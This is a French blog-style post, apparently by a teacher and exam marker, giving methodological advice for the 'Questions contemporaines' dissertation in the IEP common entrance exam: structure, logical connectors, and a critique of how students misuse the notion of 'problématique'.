Le Vendredi: Le concours commun des IEP de Région. Les Questions Contemporaines. Qu’est-ce à dire ?

Concours Commun des IEP de Région. Questions Contemporaines concours 2017.

             Le concours commun à sept IEP de Province propose une épreuve unique en son genre et à laquelle les lycéens qui préparent le Bac ne sont pas formés.

Ce sont les « Questions contemporaines ».

Concrètement, il s’agit bien d’une dissertation de trois heures au cours desquelles il est demandé au candidat de répondre à une question posée à partir d’un programme « tournant » connu dès le début de l’année. A une exception près jusqu’à aujourd’hui (en 2011, l’un des deux sujets revêtait singulièrement une forme strictement nominale : Argent et Démocratie), la formulation interroge directement (même si l’ellipse du verbe donne parfois un aspect plus polémique) : Le sport, une affaire d’Etat(s) ? ou La laïcité, garantie des libertés religieuses ? (en 2012).

Cette épreuve originale n’est pas une épreuve de philosophie, même si on est amené à manipuler des notions, à travailler assez subtilement un énoncé ; ce n’est pas une épreuve de connaissances de l’actualité ni de l’histoire contemporaine ; ce n’est pas une épreuve de « sociologie »…c’est un peu tout cela à la fois mais c’est aussi et peut-être surtout une épreuve de « rhétorique » où la composition et l’expression entrent pour l’essentiel dans l’évaluation.

 

Ce qui signifie qu’il ne faut pas exagérer l’ampleur des connaissances requises : les concepteurs de l’épreuve sont des professionnels réalistes, ils savent bien qu’un lycéen de Terminale n’a pas le loisir (ni d’ailleurs les cours adaptés) pour devenir un « spécialistes » de telle ou telle question. En outre le format même de l’épreuve (3 heures) limite considérablement les ambitions.

 

Certes un minimum d’informations est nécessaire, encore faut-il que ce « minimum » soit pertinent et ne soit pas le recyclage d’un cours préexistant plus ou moins à jour !

En effet rappeler la signification du mot « contemporain » est une précaution indispensable avant de se lancer dans la préparation de ces « Questions Contemporaines » : Ce qui est contemporain, c’est ce qui est de notre temps.

 

Une question contemporaine, c’est une interrogation actuelle, c’est une demande du présent, un appel des circonstances.

Jusqu’où remonter le Temps de ce qui nous est contemporain ? Il est raisonnable de le situer au lendemain du second conflit mondial. Le changement alors sera net : c’est une autre société qu’on doit alors construire ! Voilà qui limite d’emblée le champ des savoirs à mobiliser. Bien-sûr il convient en préalable de procéder à des définitions et d’établir un rapide historique de la question, ne serait-ce que pour percevoir la rupture. Mais l’étudiant qui prépare le concours doit conserver constamment à l’esprit cette question : En quoi est-ce aujourd’hui différent ?

Programme 2017 : La Sécurité / La Mémoire.

 Sur la dissertation en général et sur celle portant sur les « questions contemporaines »  en particulier.

A-Quelques rappels utiles.

 

Une dissertation est toujours une démonstration. Il y a un début , un développement et une fin bien précise. Cette démonstration doit être la plus linéaire possible. Il faut éviter les digressions. Donner de l’unité , c’est renforcer le sens. Rien n’est plus préjudiciable à une dissertation que l’éparpillement ( il en va de même, du reste, pour l’ensemble de la préparation !)

L’essentiel  réside dans votre capacité à bien lire, c’est-à-dire bien analyser l’énoncé. Chaque mot compte ! Ne rien laisser de côté : un article est parfois déterminant !

    Construire le plan le plus simple possible et le plus vite possible : le temps gagné sur la construction du plan sera très utile à la rédaction , afin d’en améliorer la qualité. Je vous  propose  un schéma ( validation de la question / traitement du problème/ conséquences : oui …mais ..donc..

Commencer par rédiger l’introduction puis la conclusion ( que l’on n’aura plus qu’à recopier au cours des dernières minutes).

   La rédaction des paragraphes doit elle aussi obéir à une structure minimale : une phrase qui formule en quelque sorte le sommaire  suivie d’une argumentation nourrie par l’analyse d’un exemple ou d’une référence. Le paragraphe s’achève par une clausule : ce que ce paragraphe  a permis d’établir. La clausule peut d’ailleurs s’achever par une question  à laquelle répondra le paragraphe suivant.

Ne pas oublier de lier logiquement les paragraphes les uns aux autres. Les liens logiques s’expriment de façon directe par des conjonctions de coordination ( entre autres ). Evitez les « d’une part…d’autre part.. .enfin… » ou les « Dans un premier temps… », ou encore les « Tout d’abord…ensuite…de plus…en outre… » Ces locutions ne formulent que des successions, elles soulignent le principe d’accumulation ce qui est la négation même d’un plan logique !

 

 

Il ne faut pas énumérer les arguments mais les articuler les uns aux autres. C’est la relation qui donne toujours la signification ! Les conjonctions qui établissent des relations logiques sont les suivantes :

 

Rapport de liaison . Et ; puis ; ensuite ; bien plus ; comme ; ainsi que ; aussi bien que ; non moins que .

Rapport de cause . Car ; en effet ; effectivement.

Rapport de conséquence : donc ; aussi ; partant ; alors ; ainsi ; enfin ; par conséquent ;en conséquence de quoi ; conséquemment ; par suite ; c’est pourquoi ; dans ces conditions.

Rapport d’opposition ou de restriction : mais ; et ; au contraire ; cependant ; toutefois ; néanmoins ; pourtant ; quoique ; d’ailleurs ; aussi bien ; au moins ; du moins ; au reste ; du reste ; en revanche ; par contre ( l’usage ne peut être accepté que dans le contexte commercial, dans le sens de « en compensation ») ; sinon ; tant il y a que.

Rapport d’alternative : ou ; soit….soit… ; tantôt…tantôt… ; ou au contraire .

Rapport d’explication : savoir ; à savoir ; c’est-à-dire ; soit.

 

 

B- La Problématique

La Problématique …..

C’est le mot magique, le mot qui fait savant , qui fait sérieux , qui fait intelligent et qui le plus souvent tombe à plat parce ce que ceux qui l’utilisent se dispensent de le penser ! Plutôt dire le mot que de réfléchir à ce qu’il est supposé signifier. De fait, le correcteur que je suis se méfie toujours de ceux qui l’emploient à chaque occasion , c’est-à-dire à tort et à travers en espérant donner du fond à ce qui n’en a pas. «  C’est quoi ta problématique ? » « Le sujet n’a pas été bien problématisé » « Il faut formuler la problématique au moyen d’une question » etc. Mais a-t’on vraiment cherché à définir le terme avant usage ? Je n’en ai pas toujours l’impression et c’est dommage car évidemment l’exercice de la dissertation y gagnerait .

Autrefois, lorsqu’on n’était pas intelligent, on appelait cela « les enjeux » , « l’implicite » du sujet. On savait qu’un énoncé suggère plus qu’il n’ en dit de prime abord et qu’il faut déceler tous les sous-entendus , ce que l’on fait d’ailleurs spontanément dans la vie quotidienne et pas seulement quand il s’agit de disserter…Et puis ce qui était simple est soudain devenu inutilement  compliqué. Est-ce à dire pour autant que le mot « problématique »  n’ a pas de sens ? Faut-il ou ne faut-il pas « chercher » puis « trouver » une – « la » ?- problématique ? Comment faire ?

Les mots ont un sens ( mais si !) et pas celui qu’on voudrait nécessairement leur donner. Ainsi en est-il  de cette fa/umeuse « problématique ». Le dictionnaire donne pour ce mot pris substantivement : « Ensemble des questions posées par un sujet précis . Questionnement. » Il nous ramène donc de façon très sérieuse à l’origine socratique de la philosophie , cette dernière étant entendue comme  démarche interrogative portant sur les apparences. Au principe de ce questionnement un étonnement devant la nature de notre perception des choses. La problématique , ce sera donc cet enchaînement de questions que suscite la question posée par l’énoncé, sans doute parce que cette question initiale qui constitue le sujet joue sur un double sens, une ambiguïté, parce qu’elle repose sur un paradoxe ou bien une contradiction, qu’elle est construite à partir d’une image, comparaison , métaphore, métonymie …Bref, plutôt que d’une problématique, il conviendrait de parler d’une véritable problématisation du sujet , ce qui constitue au fond le deuxième moment de l’introduction .

Rappel : On attend d’une introduction qu’elle conduise au sujet (accroche) , qu’elle problématise l’énoncé ( analyse des termes et questions) enfin qu’elle annonce le plan.

D’où vient dès lors ce sentiment d’assister à des tentatives dérisoires et souvent sottes quand il s’agit de « dégager la problématique » d’un sujet ? C’est tout simplement quand le malheureux candidat croit devoir la réduire à une question , une seule question. De fait , bien souvent l’introduction se ramène à un exercice aberrant : transformer la question que pose le sujet en une autre question qu’on va lui préférer et qu’on appelle alors du pompeux nom de « problématique ». Il ne s’agit donc le plus souvent que d’une pauvre tentative de justifier qu’on ne traitera pas le sujet mais un autre. Arrêtons-nous en effet trente secondes sur cette consigne que j’ai parfois entendue rapportée par mes étudiants : il faudrait reformuler la question posée par l’énoncé ! Pourquoi ? Etait-elle donc « mal » formulée ? le sujet est-il jugé stupide par celui qui prétend le re- formuler ? Quelle imposture ! Comment s’étonner ensuite que certains soient « hors-sujet » , que la plupart des copies aujourd’hui se perdent dans des digressions labyrinthiques et oiseuses ?

Ne parlons plus de « reformuler l’énoncé » mais plutôt affirmons vouloir « l’interroger ». Les mots ont leur importance et c’est d’ailleurs précisément pour cela que l’on compose des dissertations !

 

 

 

 

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